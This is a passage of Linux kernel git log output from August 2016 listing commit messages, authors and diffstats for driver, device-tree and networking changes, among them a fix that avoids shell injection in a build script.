Date: Fri Aug 26 14:25:25 2016 +0000 drm/sun4i: Remove redundant dev_err call in sun4i_tcon_init_regmap() There is a error message within devm_ioremap_resource already, so remove the dev_err call to avoid redundant error message. Signed-off-by: Wei Yongjun Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_tcon.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 01f222dfcf7f301035ed104029bc51710d4ce4e5 Author: Icenowy Zheng Date: Fri Aug 26 18:23:56 2016 +0800 ARM: dts: sun8i: Add dts file for inet-d978_rev2 tablets The inet-d978_rev2 is a pcb used in generic A33 based tablets. It features volume buttons, micro-usb otg, headphone connector and a power button. On the board a Realtek RTL8723BS SDIO Wi-Fi module are soldered, and there is also a accompanied board which has a Goodix GT9271 soldered. As this board is desired to create tablets with a Home key dealed by GT9271, a LED is present at the front panel at the position of the Home key. Signed-off-by: Icenowy Zheng Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/sun8i-a33-inet-d978-rev2.dts | 88 ++++++++++++++++++++++++++ 2 files changed, 89 insertions(+) commit 06ad11be7a9e13499ff8e55e46f09d22f9ee6fc0 Author: Chen-Yu Tsai Date: Sat Aug 27 15:59:50 2016 +0800 ARM: dts: sun9i: Add missing #interrupt-cells to R_PIO pinctrl device node The R_PIO device node is missing #interrupt-cells, which causes interrupt parsing to fail to match it as a valid interrupt controller. Add #interrupt-cells to it. Also remove the unnecesary #address-cells and #size-cells. Fixes: 1ac56a6da9e1 ("ARM: dts: sun9i: Add A80 R_PIO pin controller device node") Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun9i-a80.dtsi | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit a9784e56aa106959ee695de8bf7c546b9bd6ad14 Author: Paul Gortmaker Date: Tue Aug 23 17:19:44 2016 -0400 pinctrl: sirf: make core support explicitly non-modular The Makefile currently controlling compilation of this code is: drivers/pinctrl/sirf/pinctrl-sirf.o --> drivers/pinctrl/sirf/Makefile:obj-y += pinctrl-sirf.o ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We also delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. Cc: Linus Walleij Cc: Rongjun Ying Cc: Yuping Luo Cc: Barry Song Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/pinctrl/sirf/pinctrl-sirf.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 37e70b6a35e73d884096a2dbc976fae454829533 Author: Paul Gortmaker Date: Tue Aug 23 17:19:43 2016 -0400 pinctrl: sirf: make atlas7 explicitly non-modular The Makefile currently controlling compilation of this code is: drivers/pinctrl/sirf/pinctrl-atlas7.o ---> drivers/pinctrl/sirf/Makefile:obj-y += pinctrl-atlas7.o ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Cc: Linus Walleij Cc: Barry Song Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/pinctrl/sirf/pinctrl-atlas7.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 2f4362040be123eb09c26e273d2ac95d7ced7737 Author: Paul Gortmaker Date: Tue Aug 23 17:19:42 2016 -0400 pinctrl: rockchip: make it explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/pinctrl/Kconfig:config PINCTRL_ROCKCHIP drivers/pinctrl/Kconfig: bool ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. Note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Cc: Linus Walleij Cc: Heiko Stuebner Cc: linux-gpio@vger.kernel.org Cc: linux-rockchip@lists.infradead.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/pinctrl/pinctrl-rockchip.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 6d6cc0d89a0cf4d7310d1447db0e6ae2467925f4 Author: Paul Gortmaker Date: Tue Aug 23 17:19:41 2016 -0400 pinctrl: nomadik: make core support explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/pinctrl/nomadik/Kconfig:config PINCTRL_NOMADIK drivers/pinctrl/nomadik/Kconfig: bool "Nomadik pin controller driver" ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Cc: Linus Walleij Cc: Alessandro Rubini Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/pinctrl/nomadik/pinctrl-nomadik.c | 5 ----- 1 file changed, 5 deletions(-) commit 8b51fad0e975a913be6db1d3d06981232163d182 Author: Paul Gortmaker Date: Tue Aug 23 17:19:40 2016 -0400 pinctrl: nomadik: make abx500 explicitly non-modular The Kconfig currently controlling compilation of this code is: config PINCTRL_ABX500 bool "ST-Ericsson ABx500 family Mixed Signal Circuit gpio functions" ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. Note that MODULE_ALIAS is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. Cc: Linus Walleij Cc: Alessandro Rubini Cc: Patrice Chotard Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/pinctrl/nomadik/pinctrl-abx500.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 4394a639338bd5e0973d61294a69196cd580ab83 Author: Paul Gortmaker Date: Tue Aug 23 17:19:39 2016 -0400 pinctrl: mediatek: make mtk-common explicitly non-modular The Makefile currently controlling compilation of this code is: drivers/pinctrl/mediatek/pinctrl-mtk-common.o ---> drivers/pinctrl/mediatek/Makefile:obj-y += pinctrl-mtk-common.o ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. We don't replace module.h with init.h since the file doesn't need that. Cc: Linus Walleij Cc: Hongzhou Yang Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/pinctrl/mediatek/pinctrl-mtk-common.c | 5 ----- 1 file changed, 5 deletions(-) commit f175ba174ef3cb8c26e828c710e4e3b0f2bbbf55 Author: Valentin Rothberg Date: Sat Aug 27 10:59:07 2016 +0200 checkkconfigsymbols.py: avoid shell injection Use subprocess and set shell to False to avoid potential shell injections. Reported-by: Bernd Dietzel Signed-off-by: Valentin Rothberg Signed-off-by: Greg Kroah-Hartman scripts/checkkconfigsymbols.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit bafb0fced98c7c135389b455faab380beac47ccc Author: Chris Wilson Date: Sat Aug 27 08:54:01 2016 +0100 drm/i915: Make for_each_engine_masked() more compact and quicker Rather than walk the full array of engines checking whether each is in the mask in turn, we can use the mask to jump to the right engines. This should quicker for a sparse array of engines or mask, whilst generating smaller code: text data bss dec hex filename 1251010 4579 800 1256389 132bc5 drivers/gpu/drm/i915/i915.ko 1250530 4579 800 1255909 1329e5 drivers/gpu/drm/i915/i915.ko The downside is that we have to pass in a temporary, alas no C99 iterators yet. [P.S. Joonas doesn't like having to pass extra temporaries into the macro, and even less that I called them tmp. As yet, we haven't found a macro that avoids passing in a temporary that is smaller. We probably will get C99 iterators first!] Signed-off-by: Chris Wilson Cc: Mika Kuoppala Cc: Joonas Lahtinen Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160827075401.16470-2-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 15 +++++++++------ drivers/gpu/drm/i915/i915_gem_request.c | 3 ++- drivers/gpu/drm/i915/i915_guc_submission.c | 3 ++- drivers/gpu/drm/i915/i915_irq.c | 3 ++- drivers/gpu/drm/i915/intel_uncore.c | 9 ++++++--- 5 files changed, 21 insertions(+), 12 deletions(-) commit f6407193dd9d9e29fc94b7f6943c517cbee314bb Author: Chris Wilson Date: Sat Aug 27 08:54:00 2016 +0100 drm/i915: Tidy reporting busy status during i915_gem_retire_requests() As we know by inspection whether any engine is still busy as we retire all the requests, we can pass that information back via return value rather than check again afterwards. v2: A little more polish missed in patch splitting Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160827075401.16470-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit e19ac1578fd8eb3f7c93f2be2657deb2ccefffd7 Author: Wei Yongjun Date: Fri Aug 26 14:35:43 2016 +0000 net: ethernet: ti: cpsw: fix error return code in cpsw_set_channels() Fix to return a negative error code from the cpsw_fill_rx_channels() error handling case instead of 0, as done elsewhere in this function. Fixes: ce52c744574b ("net: ethernet: ti: cpsw: add ethtool channels support") Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2a7a3c564466e9d58217200b36c026a52d99aaff Author: Zhu Yanjun Date: Fri Aug 26 22:21:47 2016 +0800 vxlan: remove the useless header file protocol.h This header file is not used in vxlan.c file. Signed-off-by: Zhu Yanjun Signed-off-by: David S. Miller drivers/net/vxlan.c | 1 - 1 file changed, 1 deletion(-) commit 73b86bb7033edfae2a25321116427d8cf386bc51 Author: Wei Yongjun Date: Fri Aug 26 14:21:08 2016 +0000 chcr: Fix non static symbol warning Fixes the following sparse warning: drivers/crypto/chelsio/chcr_algo.c:593:5: warning: symbol 'cxgb4_is_crypto_q_full' was not declared. Should it be static? Signed-off-by: Wei Yongjun Acked-by: Herbert Xu Signed-off-by: David S. Miller drivers/crypto/chelsio/chcr_algo.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 942e298eba850a866a673fa159774313650ce5cc Author: Jon Cooper Date: Fri Aug 26 15:13:30 2016 +0100 sfc: work around TRIGGER_INTERRUPT command not working on SFC9140 MC_CMD_TRIGGER_INTERRUPT does not work on the SFC9140, as used in the sfn7x42q and sfn7x24f. Check for this using the MCDI workaround mechanism. The command is only used during self test. If it's not supported, skip the interrupt test. Signed-off-by: Edward Cree Signed-off-by: David S. Miller drivers/net/ethernet/sfc/ef10.c | 8 ++++++-- drivers/net/ethernet/sfc/farch.c | 3 ++- drivers/net/ethernet/sfc/net_driver.h | 2 +- drivers/net/ethernet/sfc/nic.c | 4 ++-- drivers/net/ethernet/sfc/nic.h | 4 ++-- drivers/net/ethernet/sfc/selftest.c | 10 +++++++++- drivers/net/ethernet/sfc/selftest.h | 2 +- 7 files changed, 23 insertions(+), 10 deletions(-) commit df0562c386c778c802b981fc4015a636aa5db866 Author: Edward Cree Date: Fri Aug 26 15:12:57 2016 +0100 sfc: remove duplicate assignment nic_data was already initialised to the right thing, no need to assign it again. Signed-off-by: Edward Cree Signed-off-by: David S. Miller drivers/net/ethernet/sfc/ef10.c | 1 - 1 file changed, 1 deletion(-) commit 69b365c360243e18ec7c2577c14ff057c091cd77 Author: Edward Cree Date: Fri Aug 26 15:12:41 2016 +0100 sfc: include size-binned TX stats on sfn8542q TX size bins were not supported on the 7000's 40G MAC, but the 8000 series does support them and the MCPU advertises that via a new capability bit. Signed-off-by: Edward Cree Signed-off-by: David S. Miller drivers/net/ethernet/sfc/ef10.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 5b79135af3b884c597d9bf3df404a397b5579c63 Merge: f01d598 832629c Author: David S. Miller Date: Fri Aug 26 21:38:42 2016 -0700 Merge branch 'tipc-udp-replicast' Richard Alpe says: ==================== tipc: introduce UDP replicast This series introduces UDP replicast. A concept where we emulate multicast by sending multiple unicast messages to configured peers. This allows TIPC to be used in environments where IP multicast is disabled. There is a corresponding patch series for the tipc user space tool that allows a user to add remote addresses to the replicast list. ==================== Signed-off-by: David S. Miller commit 832629ca5c313e122b22b8e73a6d80f111b1a1ae Author: Richard Alpe Date: Fri Aug 26 10:52:56 2016 +0200 tipc: add UDP remoteip dump to netlink API When using replicast a UDP bearer can have an arbitrary amount of remote ip addresses associated with it. This means we cannot simply add all remote ip addresses to an existing bearer data message as it might fill the message, leaving us with a truncated message that we can't safely resume. To handle this we introduce the new netlink command TIPC_NL_UDP_GET_REMOTEIP. This command is intended to be called when the bearer data message has the TIPC_NLA_UDP_MULTI_REMOTEIP flag set, indicating there are more than one remote ip (replicast). Signed-off-by: Richard Alpe Reviewed-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/netlink.c | 10 +++++- net/tipc/udp_media.c | 90 ++++++++++++++++++++++++++++++++++++++++++++++++++++ net/tipc/udp_media.h | 1 + 3 files changed, 100 insertions(+), 1 deletion(-) commit fdb3accc2c15fabc2b687b2819da9167027c61b6 Author: Richard Alpe Date: Fri Aug 26 10:52:55 2016 +0200 tipc: add the ability to get UDP options via netlink Add UDP bearer options to netlink bearer get message. This is used by the tipc user space tool to display UDP options. The UDP bearer information is passed using either a sockaddr_in or sockaddr_in6 structs. This means the user space receiver should intermediately store the retrieved data in a large enough struct (sockaddr_strage) before casting to the proper IP version type. Signed-off-by: Richard Alpe Reviewed-by: Jon Maloy Acked-by: Ying Xue Signed-off-by: David S. Miller include/uapi/linux/tipc_netlink.h | 2 ++ net/tipc/bearer.c | 8 +++++ net/tipc/udp_media.c | 61 +++++++++++++++++++++++++++++++++++++++ net/tipc/udp_media.h | 1 + 4 files changed, 72 insertions(+) commit c9b64d492b1fbc732e3a26b284060c949b737bce Author: Richard Alpe Date: Fri Aug 26 10:52:54 2016 +0200 tipc: add replicast peer discovery Automatically learn UDP remote IP addresses of communicating peers by looking at the source IP address of incoming TIPC link configuration messages (neighbor discovery). This makes configuration slightly easier and removes the problematic scenario where a node receives directly addressed neighbor discovery messages sent using replicast which the node cannot "reply" to using mutlicast, leaving the link FSM in a limbo state. Signed-off-by: Richard Alpe Reviewed-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/udp_media.c | 83 ++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 80 insertions(+), 3 deletions(-) commit ef20cd4dd1633987bcf46ac34ace2c8af212361f Author: Richard Alpe Date: Fri Aug 26 10:52:53 2016 +0200 tipc: introduce UDP replicast This patch introduces UDP replicast. A concept where we emulate multicast by sending multiple unicast messages to configured peers. The purpose of replicast is mainly to be able to use TIPC in cloud environments where IP multicast is disabled. Using replicas to unicast multicast messages is costly as we have to copy each skb and send the copies individually. Signed-off-by: Richard Alpe Reviewed-by: Jon Maloy Signed-off-by: David S. Miller include/uapi/linux/tipc_netlink.h | 1 + net/tipc/bearer.c | 44 ++++++++++++++ net/tipc/bearer.h | 1 + net/tipc/netlink.c | 5 ++ net/tipc/udp_media.c | 118 ++++++++++++++++++++++++++++++++++---- net/tipc/udp_media.h | 44 ++++++++++++++ 6 files changed, 201 insertions(+), 12 deletions(-) commit 1ca73e3fa12531bbbc854329cd02a887f986a02a Author: Richard Alpe Date: Fri Aug 26 10:52:52 2016 +0200 tipc: refactor multicast ip check Add a function to check if a tipc UDP media address is a multicast address or not. This is a purely cosmetic change. Signed-off-by: Richard Alpe Reviewed-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/udp_media.c | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) commit ce984da36e11c1e6db6002ea4f8a4b54e46f45c0 Author: Richard Alpe Date: Fri Aug 26 10:52:51 2016 +0200 tipc: split UDP send function Split the UDP send function into two. One callback that prepares the skb and one transmit function that sends the skb. This will come in handy in later patches, when we introduce UDP replicast. Signed-off-by: Richard Alpe Reviewed-by: Jon Maloy Acked-by: Ying Xue Signed-off-by: David S. Miller net/tipc/udp_media.c | 50 ++++++++++++++++++++++++++++++++------------------ 1 file changed, 32 insertions(+), 18 deletions(-) commit ba5aa84a2d2243d56328e51497a6106dcdf67eef Author: Richard Alpe Date: Fri Aug 26 10:52:50 2016 +0200 tipc: split UDP nl address parsing Split the UDP netlink parse function so that it only parses one netlink attribute at the time. This makes the parse function more generic and allow future UDP API functions to use it for parsing. Signed-off-by: Richard Alpe Reviewed-by: Jon Maloy Acked-by: Ying Xue Signed-off-by: David S. Miller net/tipc/udp_media.c | 112 +++++++++++++++++++++++++-------------------------- 1 file changed, 55 insertions(+), 57 deletions(-) commit f01d5988639bc7f8c525d16d5d84562755d3c0ca Author: Florian Fainelli Date: Thu Aug 25 15:23:41 2016 -0700 net: dsa: bcm_sf2: Utilize mask clear/set helpers in bcm_sf2_intr_disable And while at it, remove the unecessary writing of zeroes to the CPU_MASK_CLEAR register since it has no functional use. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit ab725983a96a10630723fe4a0106b37876222993 Author: Tobias Regnery Date: Thu Aug 25 20:09:53 2016 +0200 alx: add tso support Add tso/tso6 support to the alx driver. Based on information from the downstream driver at github.com/qca/alx Signed-off-by: Tobias Regnery Signed-off-by: David S. Miller drivers/net/ethernet/atheros/alx/main.c | 75 +++++++++++++++++++++++++++++++-- 1 file changed, 71 insertions(+), 4 deletions(-) commit e0424b616b588a700e36bb87f5a779a0779e9664 Merge: a29ca89 9c08435 Author: David S. Miller Date: Fri Aug 26 21:06:58 2016 -0700 Merge branch 'mediatek-pdma-rx' Nelson Chang says: ==================== net: ethernet: mediatek: modify to use the PDMA for Ethernet RX This series have some modifications and refines to support Ethernet RX by the PDMA. changes since v4: - Remove the redundant OR operation in mtk_hw_init() changes since v3: - Add GDM hardware settings to send packets to PDMA for RX changes since v2: - Fix the bugs of PDMA cpu index and interrupt settings in mtk_poll_rx() changes since v1: - Modify to use the PDMA instead of the QDMA for Ethernet RX ==================== Signed-off-by: David S. Miller commit 9c08435e0d033ff00e3bd02a38494d63bc8296a0 Author: Nelson Chang Date: Fri Aug 26 01:09:43 2016 +0800 net: ethernet: mediatek: modify GDM to send packets to the PDMA for RX Because we change to use the PDMA as the Ethernet RX DMA engine, the patch modifies to set GDM to send packets to PDMA for RX. Acked-by: John Crispin Signed-off-by: Nelson Chang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit bacfd110e059565206e62490357232326cab5049 Author: Nelson Chang Date: Fri Aug 26 01:09:42 2016 +0800 net: ethernet: mediatek: modify to use the PDMA instead of the QDMA for Ethernet RX Because the PDMA has richer features than the QDMA for Ethernet RX (such as multiple RX rings, HW LRO, etc.), the patch modifies to use the PDMA to handle Ethernet RX. Acked-by: John Crispin Signed-off-by: Nelson Chang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 76 +++++++++++++++++------------ drivers/net/ethernet/mediatek/mtk_eth_soc.h | 31 +++++++++++- 2 files changed, 74 insertions(+), 33 deletions(-) commit c224d20db77b944a7aed1c4f8723508ee409af48 Author: Hans de Goede Date: Fri Aug 26 16:42:26 2016 +0200 ARM: dts: sun8i: Rename reference-design-tablet touchscreen node Rename the reference-design-tablet touchscreen node from gsl1680 to touchscreen, all? tablets seem to use the same power and interrupt gpio-s, but not all tablets use a gsl1680 controller making the gsl1680 name somewhat misleading. Also move the reg and compatible property to the actual tablet dts as they may differ per tablet. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-reference-design-tablet.dtsi | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit cb0db11afe72eb5206ba35cd9afa2868d0550cbe Author: Hans de Goede Date: Fri Aug 26 16:42:25 2016 +0200 ARM: dts: sun5i: Add dts file for the Empire Electronix M712 tablet Add a dts file for the Empire Electronix M712 tablet, this is a 7" A13 tablet, with micro-usb (otg), headphone and micro-sd slots on the outside. It uses a Goodix gt811 touchscreen controller, a RTL8188CTV wifi chip and a DMART06 (1238a4) accelerometer. Note currently the dts for this is somewhat empty. This will change once we add support for the touchscreen and accelerometer. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 1 + .../boot/dts/sun5i-a13-empire-electronix-m712.dts | 51 ++++++++++++++++++++++ 2 files changed, 52 insertions(+) commit 1b09d23d30222988b7871293e36074a87b21ab6b Author: Hans de Goede Date: Fri Aug 26 16:42:24 2016 +0200 ARM: dts: sun5i: Convert inet-98v-rev2 dts to use reference-design-tablet.dtsi This results in a nice cleanup :) Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun5i-a13-inet-98v-rev2.dts | 164 +------------------------- 1 file changed, 1 insertion(+), 163 deletions(-) commit 593d5f3a4a25da1f2d974d7ed5f92cd4fe0c8a36 Author: Hans de Goede Date: Fri Aug 26 16:42:23 2016 +0200 ARM: dts: sun4i: Disable ohci1 on ba10-tv-box The ehci1/ohci1 pair on the ba10-tv-box is connected to an USB-2 wifi module soldered on the PCB, so there enabling ohci1 is not necessary. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun4i-a10-ba10-tvbox.dts | 4 ---- 1 file changed, 4 deletions(-) commit 28546b09551190c727c94d1c5c96ca609065beb2 Author: Archit Taneja Date: Thu Jun 23 19:43:30 2016 +0530 arm64: dts: apq8016-sbc: Add HDMI display support The APQ8016-sbc provides a HDMI output. The APQ8016 display block only provides a MIPI DSI output. So, the board has a ADV7533 DSI to HDMI encoder chip that sits between the DSI PHY output and the HDMI connector. Add the ADV7533 DT node under its I2C control bus, and tie the DSI output port to the ADV7533's input port. Cc: Andy Gross Cc: Rob Herring Cc: devicetree@vger.kernel.org Signed-off-by: Archit Taneja Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/apq8016-sbc-soc-pins.dtsi | 48 +++++++++++++ arch/arm64/boot/dts/qcom/apq8016-sbc.dtsi | 82 ++++++++++++++++++++++ 2 files changed, 130 insertions(+) commit 305410ffd1b2ce2a1910f203649fc5f5872d24ed Author: Archit Taneja Date: Thu Jun 23 19:43:29 2016 +0530 arm64: dts: msm8916: Add display support The MSM8916 SoC contains a MDP5 based display block, and one DSI output. Add the top level MDSS DT node, and the MDP5, DSI and DSI PHY children sub-blocks. Establish the link between MDP5's INTF1 output port and DSI's input port. Cc: Andy Gross Cc: Rob Herring Cc: devicetree@vger.kernel.org Signed-off-by: Archit Taneja Acked-by: Rob Herring Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/msm8916.dtsi | 117 ++++++++++++++++++++++++++++++++++ 1 file changed, 117 insertions(+) commit a29ca89460a9cb2cb287ddf476eaf3eb3535e115 Merge: ed35ca9 de0b9d3 Author: David S. Miller Date: Fri Aug 26 13:15:49 2016 -0700 Merge branch 'bcm_sf2-utilize-b53_common' Florian Fainelli says: ==================== net: dsa: Make bcm_sf2 utilize b53_common This patch series makes the bcm_sf2 driver utilize a large number of the core functions offered by the b53_common driver since the SWITCH_CORE registers are mostly register compatible with the switches driven by b53_common. In order to accomplish that, we just override the dsa_driver_ops callbacks that we need to. There are still integration specific logic from the bcm_sf2 that we cannot absorb into b53_common because it is just not there, mostly in the area of link management and power management, but most of the features are within b53_common now: VLAN, FDB, bridge Along the process, we also improve support for the BCM58xx SoCs, since those also have the same version of the switching IP that 7445 has (for which bcm_sf2 was developed). Changes in v3: - rebase against 145dd5f9c88f6ee645662df0be003e8f04bdae93 ("net: flush the softnet backlog in process context") Changes in v2: - rebased against "net: dsa: rename switch operations structure" ==================== Signed-off-by: David S. Miller commit de0b9d3bad0d410c4d8a58431ba3405aaf8f10b2 Author: Florian Fainelli Date: Fri Aug 26 12:18:34 2016 -0700 net: dsa: bcm_sf2: Remove duplicate code Now that we are using b53_common for most VLAN, FDB and bridge operations, delete all the redundant code that we had in bcm_sf2.c to keep only the integration specific logic that we have to deal with: power management, link management and the external interfaces (RGMII, MDIO). Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 772 +---------------------------------------- drivers/net/dsa/bcm_sf2.h | 73 +--- drivers/net/dsa/bcm_sf2_regs.h | 122 ------- 3 files changed, 17 insertions(+), 950 deletions(-) commit f458995b9ad831866ab9ffaa76ed0320315a91d9 Author: Florian Fainelli Date: Fri Aug 26 12:18:33 2016 -0700 net: dsa: bcm_sf2: Utilize core B53 driver when possible The Broadcom Starfighter2 is almost entirely register compatible with B53, yet for historical reasons came up first in the tree and is now being updated to utilize b53_common.c to the fullest extent possible. A few things need to be adjusted to allow that: - the switch "core" registers currently operate on a 32-bit address, whereas b53 passes a page + reg pair to offset from, so we need to convert that, thankfully there is a generic formula to do that - the link managemenent is not self contained with the B53/CORE register set, but instead is in the SWITCH_REG block which is part of the integration glue logic, so we keep that entirely custom here because this really is part of the existing bcm_sf2 implementation - there are additional power management constraints on the port's memories that make us keep the port_enable/disable callbacks custom for now, also, we support tagging whereas b53_common does not support that yet All the VLAN and bridge code is entirely identical though so, avoid duplicating it. Other things will be migrated in the future like EEE and possibly Wake-on-LAN. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/Kconfig | 1 + drivers/net/dsa/bcm_sf2.c | 230 ++++++++++++++++++++++++++++++++++++---------- drivers/net/dsa/bcm_sf2.h | 11 +++ 3 files changed, 195 insertions(+), 47 deletions(-) commit 48aea33a77ab8ec76245336ea08eeb3dda34f98a Author: Florian Fainelli Date: Fri Aug 26 12:18:32 2016 -0700 net: dsa: b53: Add JOIN_ALL_VLAN support In order to migrate the bcm_sf2 driver over to the b53 driver for most VLAN/FDB/bridge operations, we need to add support for the "join all VLANs" register and behavior which allows us to make a given port join all VLANs and avoid setting specific VLAN entries when it is leaving the bridge. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 30 ++++++++++++++++++++++++++---- drivers/net/dsa/b53/b53_regs.h | 3 +++ 2 files changed, 29 insertions(+), 4 deletions(-) commit bde5d132c3fc50515e59119794945b0bda5a32bd Author: Florian Fainelli Date: Fri Aug 26 12:18:31 2016 -0700 net: dsa: b53: Define SF2 MIB layout The 58xx and 7445 chips use the Starfighter2 code, define its MIB layout and introduce a helper function: is58xx() which checks for both of these IDs for now. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 63 ++++++++++++++++++++++++++++++++++++++++ drivers/net/dsa/b53/b53_priv.h | 6 ++++ 2 files changed, 69 insertions(+) commit 130401d998a49da96d5ffc45a4f82a68426e588b Author: Florian Fainelli Date: Fri Aug 26 12:18:30 2016 -0700 net: dsa: b53: Prepare to support 7445 switch Allocate a device entry for the Broadcom BCM7445 integrated switch currently backed by bcm_sf2.c. Since this is the latest generation, it has 4 ARL entries, 4K VLANs and uses Port 8 for the CPU/IMP port. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 12 ++++++++++++ drivers/net/dsa/b53/b53_priv.h | 1 + 2 files changed, 13 insertions(+) commit 485ebd618e9e34769c4e046404ddf5f26487d807 Author: Florian Fainelli Date: Fri Aug 26 12:18:29 2016 -0700 net: dsa: b53: Initialize ds->ops in b53_switch_alloc In order to allow drivers to override specific dsa_switch_driver callbacks, initialize ds->ops to b53_switch_ops earlier, which avoids having to expose this structure to glue drivers. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit ed35ca994f97211abdbc87063d8869ead99b508c Merge: 2a313cd 1c6c6d2 Author: David S. Miller Date: Fri Aug 26 13:13:37 2016 -0700 Merge branch 'mlxsw-fw-mark-offload' Jiri Pirko says: ==================== mlxsw: Introduce support for offload forward mark Ido says: This patchset enables the forwarding of certain control packets by the device instead of relying on the CPU to do the forwarding. The first two patches simplify the current switchdev offload forward infrastructure and make it usable for stacked devices. This is done by moving the packet and port marking to the bridge driver instead of the switch driver. Patches 3-5 add the mlxsw specific bits to support the forward mark. ==================== Signed-off-by: David S. Miller commit 1c6c6d221e2b2efb7084b215ef7f59f2bf211b14 Author: Ido Schimmel Date: Thu Aug 25 18:42:40 2016 +0200 mlxsw: spectrum: Mirror certain packets to CPU Instead of trapping certain packets to the CPU and then relying on it to flood them we can instead make the device mirror them. The following packet types are mirrored: * DHCP: Broadcast packets that should be flooded by the device, but also trapped in case CPU is running the DHCP server. * IGMP query: Multicast packets that need to be forwarded to other bridge ports, but also trapped so that receiving netdev will be marked as a router port by the bridge driver. * ARP request: Broadcast packets that should be forwarded to other bridge ports, but also trapped in case requested IP is of the local machine. * ARP response: Unicast packets that should be forwarded by the bridge but also trapped in case response is directed at us. Set the trap action of such packets to mirror and mark them using 'offload_fwd_mark' to prevent the bridge driver from forwarding them itself. Note that OSPF packets are also marked despite their action being trap. The reason for this is that the device traps such packets in the pipeline after they were already flooded. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit 63a811417d97015feb049ba411300990d6835fab Author: Ido 